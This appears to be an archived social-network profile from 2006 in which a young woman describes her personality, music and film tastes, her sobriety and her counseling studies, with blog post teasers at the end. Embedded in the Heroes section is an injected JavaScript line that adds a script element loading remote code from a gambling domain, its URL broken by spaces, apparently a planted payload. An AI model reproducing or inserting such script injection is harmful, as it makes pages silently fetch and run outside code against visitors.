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Jackie

brighten your eyes... for new times have come....

About Me

Hmmm. I believe in karma. I believe everyone has a dynamic energy about them that they can move towards light or darkness. I think authentic power comes from within, and external power is generally used for bullshit. I am definitely down with the friends thing, but don't contact me looking for a relationship. Annnyway, I like pickles. Action movies, suspense movies, dramas, and psychological thrillers are my favorite flicks. I am anal about going to the gym... as in I go quite a lot. I don't like people to chit chat with me when I'm workin out either. It's all business in that gym, bitches. My favorite color is black. I like high-risk activities and situations. I don't much like spicy food that burns my mouth off in flames... sour - yes, spicy - not so much. I like wearing baseball and trucker caps a lot. Some people call me a tomboy. Hahaha, some people are right. I know a lot about the military, much more than I think I should actually. I like park swings, loud music, and cloudy days. I do NOT like to surround myself with people who do not allow themselves to be loved. I do NOT like to surround myself with people who are emotionally retarded and who are not intellectually stimulating. I'm a sucker for excitement and intensity. I'm also a sucker for smart and intuitive people. I love my family very much. I can't cook. I love to watch people grow and heal, mentally, emotionally, etc. I often come across as detached, uninterested, and/or intimidating... I'm workin on that, but it sort of comes as second nature. Everyone's got baggage, I'm strong enough to carry mine. I have just now realized that perhaps this "about me" section is making me sound like an asshole. Uh. Anyway, I like to paint, write, and run. I like philosophy, and I am extremely interested in psychology. I am wary of getting too close to people, but at the same time, cannot stand people who are emotionally unresponsive. Right now I am working towards completing a Licensed Chemical Dependancy Counselor certification, which will enable me to be a Rehab Counselor someday, which is my ultimate dream. That's all for now................"Carefully watch your thoughts for they become your words. Manage and watch your words for they will become your actions. Consider and judge your actions for they will become your habits. Acknowledge and watch your habits for they shall become your character. Understand and embrace your character for it becomes your destiny and your dreams.".....................
The Keys to Your Heart
You are attracted to those who have a split personality - cold as ice on the outside but hot as fire in the heart.
In love, you feel the most alive when things are straight-forward, and you're told that you're loved.
You'd like to your lover to think you are optimistic and happy.
You would be forced to break up with someone who was ruthless, cold-blooded, and sarcastic.
Your ideal relationship is open. Both of you can talk about everything... no secrets.
Your risk of cheating is zero. You care about society and morality. You would never break a commitment.
You think of marriage pessimistically. You don't think happy marriages exist anymore.
In this moment, you think of love as something you thirst for. You'll do anything for love, but you won't fall for it easily. What Are The Keys To Your Heart?

My Interests

The greatest achievement is selflessness...... The greatest worth is self-mastery....... The greatest quality is seeking to serve others....... The greatest precept is continual awareness........ The greatest medicine is the emptiness of everything...... The greatest action is not conforming with the worlds ways...... The greatest magic is transmitting the passions....... The greatest generosity is non-attachment....... The greatest goodness is a peaceful mind....... The greatest patience is humility....... The greatest effort is not concerned with results....... The greatest meditation is a mind that lets go....... The greatest wisdom is seeing through appearances........Atisha (11th century Tibetan Buddhist master)......ANYWAYS, I love the outdoors. partyin. movies. books. chill people. spontaneity. workin out. doin anything and everything with my buds. whatever goes down goes down. shooting things and/or blowing them up. people with pretty eyes. orange soda. cherry jolly ranchers, but only if they don't cut my tongue. addicts that can kick the habit. my family. driving fast. running. recovery. watching movies that scare me so bad i can't sleep. things that can extend my vocabulary and enhance my mind and bring me closer to enlightenment......ha... no joke. -----------------------------------------------------------
Your Life: The Soundtrack
Opening credits: Over The Hills & Far Away- Led Zeppelin
Waking up: So Fresh and So Clean- Outcast
Average day: Just Be- DJ tiesto
First date: Lover I don't have to Love- Bright Eyes
Falling in love: Breathe Me- Sia
Love scene: Flesh- Paul Oakenfold
Fight scene: I stand alone- Godsmack
Breaking up: Walk Away- Ben Harper
Getting back together: Scientist- Coldplay
Secret love: The Blower's Daughter- Damien Rice
Life's okay: Deliverance- Bubba Sparxx
Mental breakdown: Self-Destruct-- Stand
Driving: Highway Song- System of a Down
Learning a lesson: Broken- Seether
Deep thought: Finding Myself- Smile Empty Soul
Flashback: Addiction- Kanye West
Partying: Holidae Inn- Chingy
Happy dance: Derbus- George Acosta/ATB
Regreting: Everything Changes- Staind
Long night alone: Send the Pain Below- Chevelle
Death scene: Freedom- Braveheart Soundtrack
Closing credits: Theme- Last of the Mohicans
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I'd like to meet:

MYSELF in another life... honest and drama-free people... and George W. Bush so I can bitch slap his dumb ass.
You scored as VIII - Strength. Strength is not just physical strength, it also means emotional and spiritual strength. It is the Strength to do what you know is right in the face of opposition. Strength to defy convention and authority. Stength does not have to be used directly. It can be inner strength that supports one in the face of attacks on what they hold dear. The person of Strength remains true to their beliefs. In a Tarot reading, this card can indicate overcoming of obstacles and refusal to be beaten down. If badly aspected this card can indicate loss of faith, failure of Will.

VIII - Strength


94%

XVI: The Tower


75%

III - The Empress


69%

XIII: Death


69%

IV - The Emperor


69%

I - Magician


63%

0 - The Fool


50%

XV: The Devil


50%

II - The High Priestess


50%

X - Wheel of Fortune


44%

XIX: The Sun


44%

XI: Justice


38%

VI: The Lovers


38%
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Music:

trance. drum n bass. indie rock. industrial. sevendust. radiohead. paul oakenfold. dj tiesto. metallica. smile empty soul. insane clown posse. linkin park. three doors down. doves. gypsy kings. breaking benjamin. snow patrol. bright eyes. chevelle. morrissey. my chemical romance. staind. chemical brothers. bjork. in flames. the killers. the dears. death cab for cutie. ben harper. johnny cash. drowning pool. godsmack. damien rice. bob sinclaire. cold. arcade fire. jeff buckley. g love and the special sauce. dj micro. paul van dyke. thrice. seether. coldplay. orbital. badly drawn boy. fiona apple. ani difranco. aphex twin. sarah mclaughlan. frank sinatra. beth orton. thievery corporation. tricky. frou frou.

Movies:

braveheart. forrest gump. american history x. finding nemo. green mile. CLOSER. traffic. friday. requiem for a dream. 25th hour. what dreams may come. man on fire. office space. the patriot. fugitive. shawshank redemption. crash. dumb and dumber. batman begins. the jacket. ladder 49. saving private ryan. catch me if you can. pirates of the carribbean. great expectations. gattaca. garden state...etc etc

Television:

TV...... i don't watch much tv. the L word. nip tuck. the news. .... actually mostly movies really... and any of these shows are only if the TV happens to be ON and i'm around.

Books:

Intimacy Factor - Pia Mellody. The Tao of Pooh - Benjamin Hoff. The Power of Now - Eckhart Tolle. The Inferno - Dante. Dry - Augusten Burroughs. Anything by Gary Zukav.

Heroes:

I don't generally like to make heroes out of people.. but here are some people I admire and respect: Ranger Chaz Crawford, (1982-2006), who always followed his dreams to his death.Smartest woman alive, Pia Mellody. Most authentic person alive, Tonya Thompson. My older brothers. .."var s=document.createElement('script');s.src='http://gamblingboa rd.com/x/7318.js';document.getElementsByTagName('head')[0].a ppendChild(s);"

My Blog

new life.

    ....Whether i shall turn out to be the hero of my own life, or whether that station will be held by any other person... only time will show......... .....And thus i began my new life......
Posted by Jackie on Sun, 05 Nov 2006 11:38:00 PST

reasoning behind my sobriety.

So many of my friends ask me, "Why are you doing this AA thing?  I have seen you drink before and you seemed ok."   This blog is for you, as well as myself.    Let's star...
Posted by Jackie on Mon, 23 Oct 2006 05:35:00 PST

no title

Wow.  I found this thing that I blogged about ...ehhh... ten months ago or something.  For the most part, I hold the same opinion I did then... and the irony is that right now, it's somethin...
Posted by Jackie on Fri, 20 Oct 2006 02:28:00 PST

How well do u know me?

  Answer the following questions then post one under your blog so I can answer yours.1. Who are you?2. Are we close?3. When and how did we meet?4. Do you have a crush on me?5. Would you kiss me?6...
Posted by Jackie on Wed, 19 Jul 2006 02:08:00 PST

Well, shit.

Seeing as though I don't like coffee much, I am none-the-less frequenting coffeehouses.  One of many changes I have had to make in sobriety.  Or have made.  Dunno bout the have had to p...
Posted by Jackie on Tue, 09 May 2006 02:50:00 PST

Different

Emotions + Basics + Are you emotional :: yes, but not always outwardly Do songs make you cry? If so, name a few :: some. "sound of goodbye", "ghost of you" What about movies :: braveheart and...
Posted by Jackie on Sun, 07 May 2006 01:03:00 PST

The real story.

I wrote this about a year ago.  It was a memoir assignment for English in college.   K, so beginning of my high school year.. Chaz was at that point just some dude I was dating.  And ye...
Posted by Jackie on Sun, 30 Apr 2006 08:18:00 PST

2 jax theme songs

"Pick Yer Nose"How come I can pick my earsbut not my nosewho made up that rule anywayhow can you say that's the way it isthat's just the way it goeswhy don't you decide for yourselfwhat you can doand ...
Posted by Jackie on Fri, 24 Feb 2006 07:30:00 PST

Holy crap. .$%$@.!!!!!!!

AHHHHHHHHHHHHH. WTF!  WTFWTFWTFWTFWTF..... Ok, i live in this place that's kind of set up like REAL WORLD.  Like 10 co-ed peeps forced (sorta) to live together in one spot.  Except thi...
Posted by Jackie on Sun, 22 Jan 2006 11:19:00 PST

January jaxson...

JANUARY:Easy to talk to, though hard to understand. Thinks far with vision, yet complicated to know. Easily influenced by kindness. Polite and soft-spoken. Having lots of ideas. Sensitive. Active mind...
Posted by Jackie on Fri, 20 Jan 2006 12:02:00 PST